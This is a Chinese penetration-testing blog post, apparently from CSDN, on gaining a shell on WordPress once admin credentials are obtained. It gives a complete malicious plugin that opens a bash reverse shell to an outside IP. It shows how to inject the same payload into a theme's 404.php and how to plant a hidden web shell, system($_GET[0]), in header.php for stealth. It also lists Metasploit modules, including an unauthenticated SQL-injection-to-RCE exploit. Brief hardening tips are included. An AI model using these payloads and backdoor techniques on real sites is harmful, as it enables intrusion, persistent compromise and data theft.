🍬 写在前面
👨🎓 博主介绍:大家好,我是 vortex5 ,很高兴认识大家 ➤ 主页传送门
✨主攻领域:【网络安全】【渗透领域】【SRC挖掘】【靶场复现】 📝欢迎大家关注我的 vx 公.众.号:飓风瞭望 🎉如果本文对您有所帮助,请点赞➕评论➕收藏 一键三连😋 🎉欢迎关注💗一起学习👍一起讨论⭐️一起进步 🙏作者水平有限,欢迎各位大佬指点,相互学习进步呀~

WordPress是一个广泛使用且生态庞大的博客系统,因此在靶场中出现的频率也比较高。本文记录一下当获取wordpress登录凭证后,获取shell的几种姿势和方法。
1. 搜索利用nday漏洞
使用 Searchsploit 或 Google 搜索漏洞
- 确定目标 WordPress 版本及已安装的插件。
- 通过 Searchsploit 检索相关漏洞:
searchsploit wordpress version_or_plugin_name - 或使用 Google 搜索漏洞,关键词示例如下:
"wordpress version_or_plugin_name vulnerability exploit"
查找到漏洞后,利用对应的 exploit 向目标站点发起攻击,获取目标站点的 shell。
2. 利用后台上传插件
一旦获取有效的管理员凭据,可以通过后台上传恶意插件以执行代码。以下是步骤:
插件代码示例
创建一个简单的反弹 Shell 插件(revshell.php):
<?php
/**
* Plugin Name: Reverse Shell Plugin
* Plugin URI:
* Description: Reverse Shell Plugin for penetration testing.
* Version: 1.0
* Author: Security Analyst
* Author URI: http://www.example.com
*/
exec("/bin/bash -c 'bash -i >& /dev/tcp/192.168.86.99/443 0>&1'");
?>
打包插件
将 PHP 文件打包成 .zip 格式:
zip revshell.zip revshell.php
上传并激活插件
- 登录 WordPress 管理后台。
- 导航至“插件”页面,选择“上传插件”。
- 上传
revshell.zip并激活。

一旦插件被激活,反向 Shell 将通过 PHP exec() 函数触发,攻击者的机器将会收到一个连接。

防御措施
如果网站不需要通过后台直接上传插件,建议完全禁用插件上传功能。在 wp-config.php 文件中添加以下代码禁止插件上传:
define('DISALLOW_FILE_MODS', true);
这样,管理员将无法在 WordPress 后台上传或安装新插件。
3. 修改主题代码
如果无法上传插件,也可以通过修改 WordPress 主题文件来注入恶意代码。
我们通常会选择修改 404.php 文件以植入恶意代码,因为这样最方便,只需要通过访问特定的不存在 URL 就可以触发反向 Shell。
需要注意的是:在这种路由结构(如
/wordpress/index.php/2021/04/21/123)中,随意修改 URL(例如/wordpress/index.php/随便改动)才能触发 WordPress 的错误页面,而直接访问类似/sdafsadf这样的路径只会引发中间件的 “Not Found” 响应。
具体步骤如下:
-
导航至后台的“外观” -> “主题文件编辑器”。
-
修改目标主题的
404.php文件,插入以下代码:<?php exec("/bin/bash -c 'bash -i >& /dev/tcp/192.168.86.99/443 0>&1'"); ?>或者直接全选,替换为kali自带的webshell。

-
保存更改后,通过访问以下 URL 或者不存在的页面触发:
http://target/wp-content/themes/twentysixteen/404.php
还有一个文件网上很少有人提及,那就是 header.php 文件(主题页眉文件)。这个文件几乎在所有页面都会被加载,因此是一种更隐蔽的方式来执行恶意代码。
比如我选择在 header.php 文件的 <?php 标签后插入以下代码:
system($_GET[0]);

这样,攻击者可以通过任意页面直接执行系统命令,如下图:

其他可修改的文件
除了 404.php 和 header.php,攻击者还可能利用以下文件进行代码注入:
functions.php:此文件可用于添加恶意的wp_footer或wp_head钩子,在整个站点范围执行代码。single.php或page.php:可用于在特定的文章或页面中触发恶意代码。index.php:首页文件,适用于广泛的代码执行。
防御措施
为了防止攻击者利用这些手法,管理员可以采取以下措施:
- 禁用主题编辑器:在
wp-config.php文件中添加:define('DISALLOW_FILE_EDIT', true); - 限制文件权限:确保
wp-content/themes/目录下的文件不可被直接修改:chmod -R 444 wp-content/themes/
4. 利用 MSF 攻击模块直接获取
Metasploit 框架提供了多种专用模块,可用于针对 WordPress 的渗透测试。以下是一些关键模块的介绍:
1. WordPress 管理员插件上传模块
该模块利用已获取的管理员权限,通过上传包含恶意负载的插件来控制目标系统。
模块名称: exploit/unix/webapp/wp_admin_shell_upload
使用步骤:
-
设置模块选项:
RHOSTS:目标主机的 IP 地址或域名。TARGETURI:WordPress 的安装路径,默认为/。USERNAME:WordPress 管理员用户名。PASSWORD:WordPress 管理员密码。
-
选择有效载荷:
php/meterpreter_reverse_tcp:常用的 PHP 反向连接 Meterpreter 负载。- 设置
LHOST(攻击者的监听地址)和LPORT(攻击者的监听端口)。
-
执行模块:
- 运行模块后,Metasploit 将生成一个包含恶意负载的插件,并将其上传到目标 WordPress 站点。
- 成功上传并激活插件后,攻击者将获得目标系统的控制权。
参考资料:
2. WordPress wp-automatic 插件 SQL 注入漏洞利用模块
该模块利用 WordPress wp-automatic 插件(版本低于 3.92.1)中的 SQL 注入漏洞,未经认证即可创建管理员账户,进而实现远程代码执行。
模块名称: exploit/multi/http/wp_automatic_sqli_to_rce
使用步骤:
-
设置模块选项:
RHOSTS:目标主机的 IP 地址或域名。TARGETURI:WordPress 的安装路径,默认为/。USERNAME:要创建的管理员用户名(可选)。PASSWORD:要创建的管理员密码(可选)。EMAIL:要创建的管理员邮箱(可选)。
-
选择有效载荷:
php/meterpreter_reverse_tcp:常用的 PHP 反向连接 Meterpreter 负载。- 设置
LHOST和LPORT。
-
执行模块:
- 模块会利用 SQL 注入漏洞创建一个具有管理员权限的用户。
- 随后,使用该管理员账户登录,并上传包含恶意负载的插件。
- 执行插件后,攻击者将获得系统的控制权。
参考资料:
3. WordPress 扫描器模块
该辅助模块用于检测目标 WordPress 站点的版本、已安装的主题、插件以及用户信息,有助于识别潜在的攻击面。
模块名称: auxiliary/scanner/http/wordpress_scanner
使用步骤:
-
设置模块选项:
RHOSTS:目标主机的 IP 地址或域名。TARGETURI:WordPress 的安装路径,默认为/。
-
执行模块:
- 模块会扫描目标站点,收集其版本、主题、插件和用户信息。
- 扫描结果有助于识别可能存在漏洞的组件。
参考资料:
通过使用上述模块,渗透测试人员可以有效地评估 WordPress 站点的安全性,并识别潜在的安全漏洞。
小结
以下几种方法都可以在获取 WordPress 登录凭证后有效地获得 Shell:
- 更新已存在的代码(即主题文件)
- 上传 ZIP 文件(即上传新插件)
- 利用 Metasploit payload 一把梭
每种方法针对不同的环境和防御机制有不同的适用性。根据实际情况选择合适的攻击路径,可以帮助渗透测试人员更高效地获得系统访问权限。
原文 https://blog.csdn.net/2301_79518550/article/details/144808291